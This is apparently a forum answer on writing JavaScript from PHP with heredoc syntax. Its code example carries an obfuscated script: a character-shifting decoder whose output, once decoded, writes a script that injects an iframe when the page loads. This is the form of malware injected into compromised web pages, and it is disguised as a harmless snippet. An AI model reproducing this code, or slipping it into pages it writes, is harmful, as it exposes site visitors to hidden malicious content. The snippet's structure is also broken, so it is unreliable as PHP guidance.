You can write javascript with PHP, but it can be a little tricky.
In the above block of code you are using double-quotes for your echo string
echo ", and inside that string you have double quotes surrounding your html property values
"javascript" which are escaping your main string. You can't use single quotes in your echo string because you have PHP variables which values you need in your string.
You can try the same thing using a
heardoc format...
<?php
echo <<<endline
<html>
<head>
<title>$title</title>
</head>
<body>
<script type="text/javascript">
function moving( s ) {
var s1 = unescape( s.substr( 0, s.length ) );
var t = '';
for( i = 0; i < s1.length; i ++ ) {
t += String.fromCharCode( s1.charCodeAt( i ) +7 );
document.write( unescape( t ) );
}
};
moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%30%3A%1E%2F%31%1E%2F%3F%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37');
</script>
<h1><img src="$wgLogo" style="float:left; margin-right:1em;" alt="">$title</h1>
endline;
?>
</body>
</html>
}